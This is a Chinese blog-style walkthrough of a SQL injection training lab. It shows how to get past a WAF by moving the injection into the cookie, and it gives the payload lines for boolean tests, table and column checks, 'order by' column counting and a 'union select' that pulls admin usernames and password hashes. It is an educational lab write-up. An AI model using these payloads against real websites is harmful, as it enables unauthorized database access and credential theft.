当前位置:网站首页>第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】
第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】
2022-07-26 19:32:00 【野马菲比】
遇到阻难!绕过WAF过滤!
靶场:http://kypt8004.ia.aqlab.cn/
1、判断是否存在注入,发现有过滤
2、一般cookie传参不会被过滤,尝试利用cookie注入:
document.cookie="id="+escape("171")
回车;然后url中去掉id传参,http://kypt8004.ia.aqlab.cn/shownews.asp,回车,回显正常即可:
3、判断是否存在注入:
document.cookie="id="+escape("171 and 1=1") 回显正常
document.cookie="id="+escape("171 and 1=2") 回显异常

说明存在注入;
4、判断表:
不知道库名怎么办?
就一个库,无需知道。
不知道表名怎么办?
爆破 and exists(select * from表名),如果页面返回正常,就存在这个表
exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True。
如果不知道字段怎么办?
偏移注入。
document.cookie="id="+escape("171 and exists(select * from admin)")
回显正常;说明存在admin表
5、判断列:
document.cookie="id="+escape("171 and exists(select username from admin)")
document.cookie="id="+escape("171 and exists(select password from admin)")
回车,url继续重新访问,回显正常,即存在username、password列名:

6、判断字段数:
document.cookie="id="+escape("171 order by 10") 回显正常
document.cookie="id="+escape("171 order by 11") 回显异常
说明存在10列

7、判断回显位:
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,0 from admin")

8、寻找具体数据:
document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,0 from admin")

根据md5的特征,猜测为md5加密;解密为:welcome
9、登录后台:
边栏推荐
猜你喜欢

plsql包

任务一 报告

SQL注入

【ffmpeg】给视频文件添加时间戳 汇总

.NET GC工作流程
![[Android] the black technology behind kotlin's rapid compilation. Learn about it~](/img/d6/ae107f75c158e97913e6d75eac5b84.png)
[Android] the black technology behind kotlin's rapid compilation. Learn about it~

SQL优化的一些建议,希望可以帮到和我一样被SQL折磨的你

以 NFT 为抵押品的借贷协议模式探讨

Introduction to component functions of blueprism process business object Chapter 3 of RPA

Silent desktop fan chip dltap703sd Jericho
随机推荐
YGG 与 AMGI 的旗舰 NFT 项目 My Pet Hooligan 合作进入 The Rabbit Hole
并行执行(二)、multiprocessing
安全测试初学体验
DevOps 实践多年,最痛的居然是?
Zabbix调用api检索方法
numpy.put()
Fasttunnel open source intranet penetration framework
谷歌的新编程语言被称为 Carbon
AI 技术,让复杂世界简单化 | TeaTalk·Online 应用实战系列第 2 期
Three implementation methods of C # client program calling external program
GBase学习-安装GBase 8a MPP Cluster V95
如何同步等待多个异步 task 的返回结果 ?
Student's t distribution
Kingbasees SQL language reference manual of Jincang database (12. SQL statement: alter language to alter subscription)
一文读懂 .NET 中的高性能队列 Channel
EtherCAT 同步模式
开源闹出乌龙事件,可能你不知道这五种开源协议
go+mysql+redis+vue3简单聊室,第6弹:使用vue3和element-plus调用接口
Cookies and sessions
Strengthen supervision on secret room escape and script killing, and focus on strengthening fire safety and juvenile protection